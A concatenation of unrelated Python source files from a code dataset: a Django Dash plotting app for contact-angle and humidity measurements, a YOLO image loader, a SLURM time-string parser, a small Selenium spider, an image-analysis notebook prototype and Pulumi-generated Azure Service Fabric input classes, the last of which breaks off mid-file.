MFL_H2O_data['Date_Time'] = pd.to_datetime(MFL_H2O_data['Date_Time'], format='%d.%m.%Y %H:%M:%S', errors="coerce")
MFL_H2O_data['Date_Time'] = MFL_H2O_data['Date_Time'].dt.tz_localize(timezone.get_current_timezone())
Sub_Exps_dic.update(MFL_H2O_data = MFL_H2O_data)
return_str += ', massflow of water stream'
if Gas.Name == 'N2':
MFL_N2_data = self.get_sub_csv(Exp_in_Model)
MFL_N2_data['Date_Time'] = pd.to_datetime(MFL_N2_data['Date_Time'], format='%d.%m.%Y %H:%M:%S', errors="coerce")
MFL_N2_data['Date_Time'] = MFL_N2_data['Date_Time'].dt.tz_localize(timezone.get_current_timezone())
Sub_Exps_dic.update(MFL_N2_data = MFL_N2_data)
return_str += ', massflow of nitrogen stream'
if Device.Abbrev == 'HME':
for pos_env in Exp_in_Model.PossibleEnvironments:
if pos_env[0] == Exp_in_Model.Environments:
if pos_env[1] == 'Cell':
Humidity_data = self.get_sub_dbf(Exp_in_Model)
Humidity_data['UHRZEIT'] = pd.to_datetime(Humidity_data['DATUM'] + Humidity_data['UHRZEIT'], format='%d.%m.%Y %H:%M:%S', errors="coerce")
Humidity_data['UHRZEIT'] = Humidity_data['UHRZEIT'].dt.tz_localize(timezone.get_current_timezone())
Sub_Exps_dic.update(HME_data = Humidity_data)
return_str += ', humidity measurements'
return Sub_Exps_dic, return_str
def get_sub_dbf(self, model):
file = os.path.join( rel_path, model.Link)
table = DBF(file, load=True)
df = pd.DataFrame(iter(table))
return df
def get_sub_csv(self, model):
file = os.path.join( rel_path, model.Link)
#file_name = file[get_LastIndex(file, '\\')+1:get_LastIndex(file, '.')]
df = pd.read_csv(file, sep=';', error_bad_lines=False, decimal = ',', parse_dates=[['Date', 'Time']])#skips bad lines
return df
def slice_data(self, data):
DashTab = self.entry.Dash
if isinstance(DashTab.CA_high_degree, float):
slice_CA_high = (data['CA_L']<DashTab.CA_high_degree) & (data['CA_R']<DashTab.CA_high_degree)
data = data[slice_CA_high]
if isinstance(DashTab.CA_low_degree, float):
slice_CA_low = (data['CA_L']>DashTab.CA_low_degree) & (data['CA_R']>DashTab.CA_low_degree)
data = data[slice_CA_low]
if isinstance(DashTab.BD_high_mm, float):
slice_BD = (data['BI_left']<DashTab.BD_high_mm) & (data['BI_right']<DashTab.BD_high_mm)
data = data[slice_BD]
if isinstance(DashTab.BD_low_mm, float):
slice_BD = (data['BI_left']>DashTab.BD_low_mm) & (data['BI_right']>DashTab.BD_low_mm)
data = data[slice_BD]
if isinstance(DashTab.Time_high_sec, float):
slice_time = data['Age']<DashTab.Time_high_sec
data = data[slice_time]
if isinstance(DashTab.Time_low_sec, float):
slice_time = data['Age']>DashTab.Time_low_sec
data = data[slice_time]
return data
def CA_Time(self):
fig = go.Figure()
fig.add_trace(go.Scattergl(x=self.data['Time (min.)'], y=self.data['Thickness # 3'],
mode='markers',
name='CA left')
)
return fig
def CA_BD(self):
fig = go.Figure()
fig.add_trace(go.Scattergl(x=self.data['BD'], y=self.data['CA_L'],
mode='markers',
name='CA left')
)
fig.add_trace(go.Scattergl(x=self.data['BD'], y=self.data['CA_R'],
mode='markers',
name='CA right')
)
fig.add_trace(go.Scattergl(x=self.data['BD'], y=self.data['CA_M'],
mode='markers',
name='CA average')
)
fig.update_layout( xaxis_title='Base diameter [mm]',
yaxis_title='Contact angle [°]')
return fig
def Plot_3(self):
Humidity_data = self.sub_data['HME_data']
start_date = self.data['Time (min.)'][0]
end_date = self.data['Time (min.)'][len(self.data)-1]
date = start_date
time_step = datetime.timedelta(seconds = 15)
thickness = []
humidities = []
times = []
while(date<end_date):
thicknes = np.mean(self.data['Thickness # 3'][(self.data['Time (min.)']<date+time_step)&(self.data['Time (min.)']>date)])
thickness.append(thicknes)
humidity = np.mean(Humidity_data['CHN1RH'][(Humidity_data['UHRZEIT']<date+time_step)&(Humidity_data['UHRZEIT']>date)])
humidities.append(humidity)
times.append(date)
date = date + time_step
self.cal_dat = pd.DataFrame(times, columns = ['times'])
self.cal_dat["times"] = self.cal_dat["times"].dt.tz_convert('UTC')#time already shifted
self.cal_dat ['thickness'] = thickness
self.cal_dat ['humidities'] = humidities
def get_figure(df, x_col, y_col, selectedpoints, selectedpoints_local):
if selectedpoints_local and selectedpoints_local['range']:
ranges = selectedpoints_local['range']
selection_bounds = {'x0': ranges['x'][0], 'x1': ranges['x'][1],
'y0': ranges['y'][0], 'y1': ranges['y'][1]}
else:
selection_bounds = {'x0': np.min(df[x_col]), 'x1': np.max(df[x_col]),
'y0': np.min(df[y_col]), 'y1': np.max(df[y_col])}
# set which points are selected with the `selectedpoints` property
# and style those points with the `selected` and `unselected`
# attribute. see
# https://medium.com/@plotlygraphs/notes-from-the-latest-plotly-js-release-b035a5b43e21
# for an explanation
fig = px.scatter(df, x=df[x_col], y=df[y_col], text=df.index)
fig.update_traces(selectedpoints=selectedpoints,
customdata=df.index,
mode='markers+text', marker={ 'color': 'rgba(0, 116, 217, 0.7)', 'size': 5 }, unselected={'marker': { 'color': 'rgba(200, 116, 0, 0.1)', 'size': 5 }, 'textfont': { 'color': 'rgba(0, 0, 0, 0)' }})
fig.update_layout(margin={'l': 20, 'r': 0, 'b': 15, 't': 5}, dragmode='select', hovermode=False)
fig.add_shape(dict({'type': 'rect',
'line': { 'width': 1, 'dash': 'dot', 'color': 'darkgrey' }},
**selection_bounds))
return fig
value = 'temp'
app = DjangoDash(name=dash_name, id='target_id')
cwd = os.getcwd()
rel_path = General.get_BasePath()
GenFig = Gen_fig()
fig = {
'data': [{
'y': [1]
}],
'layout': {
'height': 800
}
}
app.layout = html.Div(children=[
html.Div([
html.Div(
dcc.Graph(id='g1', config={'displayModeBar': True}),
className='four columns',
style={'width': '33%', 'display': 'inline-block'},
),
html.Div(
dcc.Graph(id='g2', config={'displayModeBar': True}),
className='four columns',
style={'width': '33%', 'display': 'inline-block'},
),
html.Div(
dcc.Graph(id='g3', config={'displayModeBar': True}),
className='four columns',
style={'width': '33%', 'display': 'inline-block'},
)
], style={"display": "block"}, className='row'),
dcc.Input(id='target_id', type='hidden', value='1'),
html.Button('Load data', id='Load_Data'),
dcc.Loading(
id="loading",
children=[html.Div([html.Div(id="loading-output")])],
type="default",
),
])
@app.callback(
Output("loading-output", "children"),
[Input('Load_Data', 'n_clicks'),
Input('target_id', 'value'),])
def update_output(n_clicks, target_id, *args,**kwargs):
data_was_loaded, return_str = GenFig.load_data(target_id)
if data_was_loaded:
return_str += '\n Select the desired plot at the dropdown.'
GenFig.Plot_3()
return return_str
# this callback defines 3 figures
# as a function of the intersection of their 3 selections
@app.callback(
[Output('g1', 'figure'),
Output('g2', 'figure'),
Output('g3', 'figure')],
[Input('target_id', 'value'),
Input('g1', 'selectedData'),
Input('g2', 'selectedData'),
Input('g3', 'selectedData')]
)
def callback(target_id, selection1, selection2, selection3):
no_data = True
while no_data:
try:
GenFig.cal_dat
no_data = False
except:
time.sleep(1)
selectedpoints = GenFig.cal_dat.index
for selected_data in [selection1, selection2, selection3]:
if selected_data and selected_data['points']:
selectedpoints = np.intersect1d(selectedpoints,
[p['customdata'] for p in selected_data['points']])
return [get_figure(GenFig.cal_dat, "times", "thickness", selectedpoints, selection1),
get_figure(GenFig.cal_dat, "times", "humidities", selectedpoints, selection2),
get_figure(GenFig.cal_dat, "humidities", "thickness", selectedpoints, selection3)] | 2.265625 | 2 |
img_loader.py | hujc7/yolo-v3 | 0 | 12764306 | import os
import random
import torch
# from torch.autograd import Variable
from torchvision import transforms as T
from PIL import Image, ImageDraw, ImageFont
class IMGProcess(object):
def __init__(self, source,
use_cuda=True,
img_path="imgs",
batch_size=100,
img_size=416,
confidence=0.5,
rebuild=True,
result="result"):
self.colors = source["pallete"]
self.num_classes = source["num_classes"]
self.classes = source["classes"]
self.confidence = confidence
self.rebuild = rebuild
self.result = result
self.use_cuda = use_cuda
self.img_size = img_size
self.font = ImageFont.truetype("arial.ttf", 15)
self.imgs = [os.path.join(img_path, img)
for img in os.listdir(img_path)]
self.sents_size = len(self.imgs)
self.bsz = min(batch_size, len(self.imgs))
self._step = 0
self._stop_step = self.sents_size // self.bsz
def _encode(self, x):
# convert the image to network input size and a tensor
encode = T.Compose([T.Resize((self.img_size, self.img_size)),
T.ToTensor()])
return encode(x)
def img2Var(self, imgs):
self.imgs = imgs = [Image.open(img).convert('RGB') for img in imgs]
imgs_dim = torch.FloatTensor([img.size for img in imgs]).repeat(1, 2)
with torch.no_grad():
tensors = [self._encode(img).unsqueeze(0) for img in imgs]
vs = torch.cat(tensors, 0)
if self.use_cuda:
vs = vs.cuda()
return vs, imgs_dim
def predict(self, prediction, nms_conf=0.4):
"""
prediction:
0:3 - x, y, h, w
4 - confidence
5: - class score
"""
def iou(box1, box2):
x1, y1 = box1[:, 0], box1[:, 1]
b1_w, b1_h = box1[:, 2] - x1 + .1, box1[:, 3] - y1 + .1
x2, y2, = box2[:, 0], box2[:, 1]
b2_w, b2_h = box2[:, 2] - x2 + .1, box2[:, 3] - y2 + .1
end_x = torch.min(x1 + b1_w, x2 + b2_w)
start_x = torch.max(x1, x2)
end_y = torch.min(y1 + b1_h, y2 + b2_h)
start_y = torch.max(y1, y2)
a = (end_x - start_x) * (end_y - start_y)
return a / (b1_w * b1_h + b2_w * b2_h - a)
conf_mask = (prediction[:, :, 4] >
self.confidence).float().unsqueeze(2)
prediction = prediction * conf_mask
# create a tensor the same size as prediction
box_corner = prediction.new(*prediction.size())
box_corner[:, :, 0] = (prediction[:, :, 0] - prediction[:, :, 2] / 2)
box_corner[:, :, 1] = (prediction[:, :, 1] - prediction[:, :, 3] / 2)
box_corner[:, :, 2] = (prediction[:, :, 0] + prediction[:, :, 2] / 2)
box_corner[:, :, 3] = (prediction[:, :, 1] + prediction[:, :, 3] / 2)
prediction[:, :, :4] = box_corner[:, :, :4]
outputs = []
for index in range(prediction.size(0)):
image_pred = prediction[index] # [10647, 85]
max_score, max_index = torch.max(
image_pred[:, 5:], 1, keepdim=True)
image_pred = torch.cat(
(image_pred[:, :5], max_score, max_index.float()), 1) # [10647, 7]
non_zero_ind = (torch.nonzero(image_pred[:, 4])).view(-1)
if non_zero_ind.size(0) == 0:
continue
image_pred_ = image_pred[non_zero_ind, :]
img_classes = torch.unique(image_pred_[:, -1])
objects, img_preds = [], []
name = self.this_img_names[index].split("/")[-1]
for c in img_classes:
c_mask = image_pred_ * \
(image_pred_[:, -1] == c).float().unsqueeze(1)
class_mask_ind = torch.nonzero(c_mask[:, -2]).squeeze()
image_pred_class = image_pred_[class_mask_ind].view(-1, 7)
_, conf_sort_index = torch.sort(
image_pred_class[:, 4], descending=True)
image_pred_class = image_pred_class[conf_sort_index]
for i in range(image_pred_class.size(0) - 1):
try:
ious = iou(image_pred_class[i].unsqueeze(
0), image_pred_class[i + 1:])
except IndexError:
break
iou_mask = (ious < nms_conf).float().unsqueeze(1)
image_pred_class[i + 1:] *= iou_mask
non_zero_ind = torch.nonzero(
image_pred_class[:, 4]).squeeze()
image_pred_class = image_pred_class[non_zero_ind].view(
-1, 7)
img_preds.append(image_pred_class)
objects += [self.classes[int(x[-1])] for x in image_pred_class]
outputs.append((name, objects))
img_preds = torch.cat(img_preds, dim=0)
if self.rebuild:
self.tensor2img(img_preds, index, name)
return outputs
def tensor2img(self, tensor, index, name):
imgs_dim = self.imgs_dim[index] / self.img_size
img = self.imgs[index]
draw = ImageDraw.Draw(img)
# print(imgs_dim)
# print(tensor)
# if tensor.is_cuda():
# tensor.to_cpu()
tensor[:, :4] = tensor.cpu()[:, :4].clamp_(0, self.img_size) * imgs_dim
for t in tensor:
s_x, s_y, e_x, e_y = list(map(int, t[:4]))
label = self.classes[int(t[-1])]
color = random.choice(self.colors)
draw.rectangle([s_x, s_y, e_x, e_y], outline=color)
draw.text([s_x, s_y], label, fill=color, font=self.font)
del draw
img.save(os.path.join(self.result, "res_{}".format(name)))
def __iter__(self):
return self
def __next__(self):
if self._step == self._stop_step:
self._step = 0
raise StopIteration()
_s = self._step * self.bsz
self._step += 1
self.this_img_names = self.imgs[_s:_s + self.bsz]
vs, self.imgs_dim = self.img2Var(self.this_img_names)
return vs
| 2.359375 | 2 |
GooseSLURM/duration.py | tdegeus/slurm-epfl | 0 | 12764307 | import re
def asSeconds(data, default=None):
r"""
Convert string to seconds. The following input is accepted:
* A humanly readable time (e.g. "1d").
* A SLURM time string (e.g. "1-00:00:00").
* A time string (e.g. "24:00:00").
* ``int`` or ``float``: interpreted as seconds.
:arguments:
**data** (``<str>`` | ``<float>`` | ``<int>``)
The input string
(number are equally accepted; they are directly interpreted as seconds).
:options:
**default** ([``None``] | ``<int>``)
Value to return if the conversion fails.
:returns:
``<int>``
Number of seconds as integer (or default value if the conversion fails).
"""
# convert int -> int (implicitly assume that the input is in seconds)
if isinstance(data, int):
return data
# convert float -> float (implicitly assume that the input is in seconds)
if isinstance(data, float):
return int(data)
# convert SLURM time string (e.g. "1-00:00:00")
if re.match(r"^[0-9]*\-[0-9]*\:[0-9]*\:[0-9]*$", data):
# - initialize number of days, hours, minutes, seconds
t = [0, 0, 0, 0]
# - split days
if len(data.split("-")) > 1:
t[0], data = data.split("-")
# - split hours:minutes:seconds (all optional)
data = data.split(":")
# - fill from seconds -> minutes (if present) -> hours (if present)
for i in range(len(data)):
t[-1 * (i + 1)] = data[-1 * (i + 1)]
# - return seconds
return int(t[0]) * 24 * 60 * 60 + int(t[1]) * 60 * 60 + int(t[2]) * 60 + int(t[3])
# convert time string in hours (e.g. "24:00:00")
if re.match(r"^[0-9]*\:[0-9]*\:[0-9]*$", data):
# - initialize number of hours, minutes, seconds
t = [0, 0, 0]
# - split hours:minutes:seconds (all optional)
data = data.split(":")
# - fill from seconds -> minutes (if present) -> hours (if present)
for i in range(len(data)):
t[-1 * i] = data[-1 * i]
# - return seconds
return int(t[0]) * 60 * 60 + int(t[1]) * 60 + int(t[2])
# convert time string in minutes (e.g. "12:34")
if re.match(r"^[0-9]*\:[0-9]*$", data):
# - initialize number of minutes, seconds
t = [0, 0]
# - split hours:minutes:seconds (all optional)
data = data.split(":")
# - fill from seconds -> minutes (if present) -> hours (if present)
for i in range(len(data)):
t[-1 * i] = data[-1 * i]
# - return seconds
return int(t[0]) * 60 + int(t[1])
# convert humanly readable time (e.g. "1d")
if re.match(r"^[0-9]*\.?[0-9]*[a-zA-Z]$", data):
if data[-1] == "d":
return int(float(data[:-1]) * float(60 * 60 * 24))
elif data[-1] == "h":
return int(float(data[:-1]) * float(60 * 60))
elif data[-1] == "m":
return int(float(data[:-1]) * float(60))
elif data[-1] == "s":
return int(float(data[:-1]) * float(1))
# one last try (implicitly assume that the input is in seconds)
try:
return int(data)
except BaseException:
pass
# all conversions failed: return default value
return default
def asUnit(data, unit, precision):
r"""
Convert to rich-string with a certain unit and precision. The output is e.g. ``"1.1d"``.
:arguments:
**data** (``<int>`` | ``<float>``)
Numerical value (e.g. ``1.1``).
**unit** (``<str>``)
The unit (e.g. ``"d"``).
**precision** (``<int>``)
The precision with which to print (e.g. ``1``).
:returns:
``<str>``
The rich-string.
"""
if precision:
return f"{{0:.{precision:d}f}}{{1:s}}".format(data, unit)
if abs(round(data)) < 10.0:
return f"{data:.1f}{unit:s}"
else:
return f"{round(data):.0f}{unit:s}"
def asHuman(data, precision=None):
r"""
Convert to string that has the biggest possible unit.
For example: ``100`` (seconds) -> ``"1.7m"``.
:arguments:
**data** (``<str>`` | ``<float>`` | ``<int>``)
A time, see ``GooseSLURM.duration.asSeconds`` for conversion.
**precision** (``<int>``)
The precision with which to print. By default a precision of one is used for
``0 < value < 10``,
while a precision of zero is used otherwise.
:returns:
``<str>``
The rich-string.
"""
data = asSeconds(data)
if data is None:
return ""
units = (
(24 * 60 * 60, "d"),
(60 * 60, "h"),
(60, "m"),
(1, "s"),
)
for val, unit in units:
if abs(data) >= val:
return asUnit(float(data) / float(val), unit, precision)
return asUnit(float(data), "s", precision)
def asSlurm(data):
r"""
Convert to a SLURM time string. For example ``"1d"`` -> ``"1-00:00:00"``.
:arguments:
**data** (``<str>`` | ``<float>`` | ``<int>``)
A time, see ``GooseSLURM.duration.asSeconds`` for conversion.
:returns:
``<str>``
The rich-string.
"""
data = asSeconds(data)
if data is None:
return ""
s = int(data % 60)
data = (data - s) / 60
m = int(data % 60)
data = (data - m) / 60
h = int(data % 24)
data = (data - h) / 24
d = int(data)
return "%d-%02d:%02d:%02d" % (d, h, m, s)
| 3.78125 | 4 |
main.py | richard-ma/spider-base-selenium | 0 | 12764308 | #!/usr/bin/env python
import spider_base_selenium
class MySpider(spider_base_selenium.Spider):
def __init__(self):
self.urls = [
'http://www.baidu.com',
'http://www.bing.com',
'http://www.weibo.com',
]
def parse(self, response):
print(response.get_response().title)
if __name__ == '__main__':
my_spider = MySpider()
engine = spider_base_selenium.Engine()
engine.run(my_spider) | 2.828125 | 3 |
prototype.py | Jhko725/ProteinStructureReconstruction.jl | 0 | 12764309 | <reponame>Jhko725/ProteinStructureReconstruction.jl<gh_stars>0
#%%
import numpy as np
import matplotlib.pyplot as plt
%matplotlib inline
from skimage.io import imread
from skimage.color import rgb2gray
images = list(map(lambda x: np.float32(rgb2gray(imread(x))), ['./Data/SR2_desmin_image.jpg', './Data/SR3_actin_image.jpg']))
#%%
fig, ax = plt.subplots(1, 1, figsize = (7, 5))
ax.hist(images[0].flatten(), bins = 40)
ax.set_yscale('log', base = 10)
# %%
fig, ax = plt.subplots(1, 1, figsize = (7, 5))
ax.imshow(np.stack([images[0][-2987:, -3004:], images[1], np.zeros_like(images[1])], axis = -1))
# %%
fig, ax = plt.subplots(1, 1, figsize = (7, 5))
points = images[0]>0
ax.imshow(points[2900:3000, 2900:3000])
# %%
def convert_to_pointcloud(image):
xx, yy = np.meshgrid(*[np.arange(n) for n in image.shape], indexing = 'ij')
inds = image > 0
return np.stack((xx[inds], yy[inds]), axis = -1)
# %%
# %%
from functools import reduce
from astropy.stats import RipleysKEstimator
img = images[0][2900:3000, 2900:3000]
coords = convert_to_pointcloud(img)
Kest = RipleysKEstimator(area = reduce(lambda x, y: x*y, img.shape))
r = np.linspace(0, 100, 100)
result = Kest(data=coords, radii=r, mode='none')
# %%
result
# %%
fig, ax = plt.subplots(1, 1, figsize = (7, 5))
ax.plot(r, result)
# %%
# %%
#import plotly.io as pio
#pio.renderers.default = "vscode"
import plotly.graph_objects as go
fig = go.Figure(data = go.Scattergl(x = images[0][-2987:, -3004:].flatten(), y = images[1].flatten()))
fig.show()
# %%
np.max(coords)
# %%
images[1].shape
# %%
images[0][-2987:, -3004:].shape
# %%
# %%
| 2.03125 | 2 |
sdk/python/pulumi_azure_native/servicefabric/v20200101preview/_inputs.py | pulumi-bot/pulumi-azure-native | 31 | 12764310 | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from ._enums import *
__all__ = [
'AzureActiveDirectoryArgs',
'ClientCertificateArgs',
'EndpointRangeDescriptionArgs',
'LoadBalancingRuleArgs',
'SettingsParameterDescriptionArgs',
'SettingsSectionDescriptionArgs',
'SkuArgs',
'SubResourceArgs',
'VMSSExtensionArgs',
'VaultCertificateArgs',
'VaultSecretGroupArgs',
]
@pulumi.input_type
class AzureActiveDirectoryArgs:
def __init__(__self__, *,
client_application: Optional[pulumi.Input[str]] = None,
cluster_application: Optional[pulumi.Input[str]] = None,
tenant_id: Optional[pulumi.Input[str]] = None):
"""
The settings to enable AAD authentication on the cluster.
:param pulumi.Input[str] client_application: Azure active directory client application id.
:param pulumi.Input[str] cluster_application: Azure active directory cluster application id.
:param pulumi.Input[str] tenant_id: Azure active directory tenant id.
"""
if client_application is not None:
pulumi.set(__self__, "client_application", client_application)
if cluster_application is not None:
pulumi.set(__self__, "cluster_application", cluster_application)
if tenant_id is not None:
pulumi.set(__self__, "tenant_id", tenant_id)
@property
@pulumi.getter(name="clientApplication")
def client_application(self) -> Optional[pulumi.Input[str]]:
"""
Azure active directory client application id.
"""
return pulumi.get(self, "client_application")
@client_application.setter
def client_application(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "client_application", value)
@property
@pulumi.getter(name="clusterApplication")
def cluster_application(self) -> Optional[pulumi.Input[str]]:
"""
Azure active directory cluster application id.
"""
return pulumi.get(self, "cluster_application")
@cluster_application.setter
def cluster_application(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "cluster_application", value)
@property
@pulumi.getter(name="tenantId")
def tenant_id(self) -> Optional[pulumi.Input[str]]:
"""
Azure active directory tenant id.
"""
return pulumi.get(self, "tenant_id")
@tenant_id.setter
def tenant_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "tenant_id", value)
@pulumi.input_type
class ClientCertificateArgs:
def __init__(__self__, *,
is_admin: pulumi.Input[bool],
common_name: Optional[pulumi.Input[str]] = None,
issuer_thumbprint: Optional[pulumi.Input[str]] = None,
thumbprint: Optional[pulumi.Input[str]] = None):
"""
Client Certificate definition.
:param pulumi.Input[bool] is_admin: Whether the certificate is admin or not.
:param pulumi.Input[str] common_name: Certificate Common name.
:param pulumi.Input[str] issuer_thumbprint: Issuer thumbprint for the certificate. Only used together with CommonName.
:param pulumi.Input[str] thumbprint: Certificate Thumbprint.
"""
pulumi.set(__self__, "is_admin", is_admin)
if common_name is not None:
pulumi.set(__self__, "common_name", common_name)
if issuer_thumbprint is not None:
pulumi.set(__self__, "issuer_thumbprint", issuer_thumbprint)
if thumbprint is not None:
pulumi.set(__self__, "thumbprint", thumbprint)
@property
@pulumi.getter(name="isAdmin")
def is_admin(self) -> pulumi.Input[bool]:
"""
Whether the certificate is admin or not.
"""
return pulumi.get(self, "is_admin")
@is_admin.setter
def is_admin(self, value: pulumi.Input[bool]):
pulumi.set(self, "is_admin", value)
@property
@pulumi.getter(name="commonName")
def common_name(self) -> Optional[pulumi.Input[str]]:
"""
Certificate Common name.
"""
return pulumi.get(self, "common_name")
@common_name.setter
def common_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "common_name", value)
@property
@pulumi.getter(name="issuerThumbprint")
def issuer_thumbprint(self) -> Optional[pulumi.Input[str]]:
"""
Issuer thumbprint for the certificate. Only used together with CommonName.
"""
return pulumi.get(self, "issuer_thumbprint")
@issuer_thumbprint.setter
def issuer_thumbprint(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "issuer_thumbprint", value)
@property
@pulumi.getter
def thumbprint(self) -> Optional[pulumi.Input[str]]:
"""
Certificate Thumbprint.
"""
return pulumi.get(self, "thumbprint")
@thumbprint.setter
def thumbprint(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "thumbprint", value)
@pulumi.input_type
class EndpointRangeDescriptionArgs:
def __init__(__self__, *,
end_port: pulumi.Input[int],
start_port: pulumi.Input[int]):
"""
Port range details
:param pulumi.Input[int] end_port: End port of a range of ports
:param pulumi.Input[int] start_port: Starting port of a range of ports
"""
pulumi.set(__self__, "end_port", end_port)
pulumi.set(__self__, "start_port", start_port)
@property
@pulumi.getter(name="endPort")
def end_port(self) -> pulumi.Input[int]:
"""
End port of a range of ports
"""
return pulumi.get(self, "end_port")
@end_port.setter
def end_port(self, value: pulumi.Input[int]):
pulumi.set(self, "end_port", value)
@property
@pulumi.getter(name="startPort")
def start_port(self) -> pulumi.Input[int]:
"""
Starting port of a range of ports
"""
return pulumi.get(self, "start_port")
@start_port.setter
def start_port(self, value: pulumi.Input[int]):
pulumi.set(self, "start_port", value)
@pulumi.input_type
class LoadBalancingRuleArgs:
def __init__(__self__, *,
backend_port: pulumi.Input[int],
frontend_port: pulumi.Input[int],
probe_protocol: pulumi.Input[Union[str, 'ProbeProtocol']],
protocol: pulumi.Input[Union[str, 'Protocol']],
probe_request_path: Optional[pulumi.Input[str]] = None):
"""
Describes a load balancing rule.
:param pulumi.Input[int] backend_port: The port used for internal connections on the endpoint. Acceptable values are between 1 and 65535.
:param pulumi.Input[int] frontend_port: The port for the external endpoint. Port numbers for each rule must be unique within the Load Balancer. Acceptable values are between 1 and 65534.
:param pulumi.Input[Union[str, 'ProbeProtocol']] probe_protocol: the reference to the load balancer probe used by the load balancing rule.
:param pulumi.Input[Union[str, 'Protocol']] protocol: The reference to the transport protocol used by the load balancing rule.
:param pulumi.Input[str] probe_request_path: The probe request path. Only supported for HTTP/HTTPS probes.
"""
pulumi.set(__self__, "backend_port", backend_port)
pulumi.set(__self__, "frontend_port", frontend_port)
pulumi.set(__self__, "probe_protocol", probe_protocol)
pulumi.set(__self__, "protocol", protocol)
if probe_request_path is not None:
pulumi.set(__self__, "probe_request_path", probe_request_path)
@property
@pulumi.getter(name="backendPort")
def backend_port(self) -> pulumi.Input[int]:
"""
The port used for internal connections on the endpoint. Acceptable values are between 1 and 65535.
"""
return pulumi.get(self, "backend_port")
@backend_port.setter
def backend_port(self, value: pulumi.Input[int]):
pulumi.set(self, "backend_port", value)
@property
@pulumi.getter(name="frontendPort")
def frontend_port(self) -> pulumi.Input[int]:
"""
The port for the external endpoint. Port numbers for each rule must be unique within the Load Balancer. Acceptable values are between 1 and 65534.
"""
return pulumi.get(self, "frontend_port")
@frontend_port.setter
def frontend_port(self, value: pulumi.Input[int]):
pulumi.set(self, "frontend_port", value)
@property
@pulumi.getter(name="probeProtocol")
def probe_protocol(self) -> pulumi.Input[Union[str, 'ProbeProtocol']]:
"""
the reference to the load balancer probe used by the load balancing rule.
"""
return pulumi.get(self, "probe_protocol")
@probe_protocol.setter
def probe_protocol(self, value: pulumi.Input[Union[str, 'ProbeProtocol']]):
pulumi.set(self, "probe_protocol", value)
@property
@pulumi.getter
def protocol(self) -> pulumi.Input[Union[str, 'Protocol']]:
"""
The reference to the transport protocol used by the load balancing rule.
"""
return pulumi.get(self, "protocol")
@protocol.setter
def protocol(self, value: pulumi.Input[Union[str, 'Protocol']]):
pulumi.set(self, "protocol", value)
@property
@pulumi.getter(name="probeRequestPath")
def probe_request_path(self) -> Optional[pulumi.Input[str]]:
"""
The probe request path. Only supported for HTTP/HTTPS probes.
"""
return pulumi.get(self, "probe_request_path")
@probe_request_path.setter
def probe_request_path(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "probe_request_path", value)
@pulumi.input_type
class SettingsParameterDescriptionArgs:
def __init__(__self__, *,
name: pulumi.Input[str],
value: pulumi.Input[str]):
"""
Describes a parameter in fabric settings of the cluster.
:param pulumi.Input[str] name: The parameter name of fabric setting.
:param pulumi.Input[str] value: The parameter value of fabric setting.
"""
pulumi.set(__self__, "name", name)
pulumi.set(__self__, "value", value)
@property
@pulumi.getter
def name(self) -> pulumi.Input[str]:
"""
The parameter name of fabric setting.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: pulumi.Input[str]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def value(self) -> pulumi.Input[str]:
"""
The parameter value of fabric setting.
"""
return pulumi.get(self, "value")
@value.setter
def value(self, value: pulumi.Input[str]):
pulumi.set(self, "value", value)
@pulumi.input_type
class SettingsSectionDescriptionArgs:
def __init__(__self__, *,
name: pulumi.Input[str],
parameters: pulumi.Input[Sequence[pulumi.Input['SettingsParameterDescriptionArgs']]]):
"""
Describes a section in the fabric settings of the cluster.
:param pulumi.Input[str] name: The section name of the fabric settings.
:param pulumi.Input[Sequence[pulumi.Input['SettingsParameterDescriptionArgs']]] parameters: The collection of parameters in the section.
"""
pulumi.set(__self__, "name", name)
pulumi.set(__self__, "parameters", parameters)
@property
@pulumi.getter
def name(self) -> pulumi.Input[str]:
"""
The section name of the fabric settings.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: pulumi.Input[str]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def parameters(self) -> pulumi.Input[Sequence[pulumi.Input['SettingsParameterDescriptionArgs']]]:
"""
The collection of parameters in the section.
"""
return pulumi.get(self, "parameters")
@parameters.setter
def parameters(self, value: pulumi.Input[Sequence[pulumi.Input['SettingsParameterDescriptionArgs']]]):
pulumi.set(self, "parameters", value)
@pulumi.input_type
class SkuArgs:
def __init__(__self__, *,
name: pulumi.Input[str]):
"""
Sku definition
:param pulumi.Input[str] name: Sku Name.
"""
pulumi.set(__self__, "name", name)
@property
@pulumi.getter
def name(self) -> pulumi.Input[str]:
"""
Sku Name.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: pulumi.Input[str]):
pulumi.set(self, "name", value)
@pulumi.input_type
class SubResourceArgs:
def __init__(__self__, *,
id: Optional[pulumi.Input[str]] = None):
"""
Azure resource identifier.
:param pulumi.Input[str] id: Azure resource identifier.
"""
if id is not None:
pulumi.set(__self__, "id", id)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Azure resource identifier.
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@pulumi.input_type
class VMSSExtensionArgs:
def __init__(__self__, *,
name: pulumi.Input[str],
publisher: pulumi.Input[str],
type: pulumi.Input[str],
type_handler_version: pulumi.Input[str],
auto_upgrade_minor_version: Optional[pulumi.Input[bool]] = None,
force_update_tag: Optional[pulumi.Input[str]] = None,
protected_settings: Optional[Any] = None,
provision_after_extensions: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
settings: Optional[Any] = None):
"""
Specifies set of extensions that should be installed onto the virtual machines.
:param pulumi.Input[str] name: The name of the extension.
:param pulumi.Input[str] publisher: The name of the extension handler publisher.
:param pulumi.Input[str] type: Specifies the type of the extension; an example is "CustomScriptExtension".
:param pulumi.Input[str] type_handler_version: Specifies the version of the script handler.
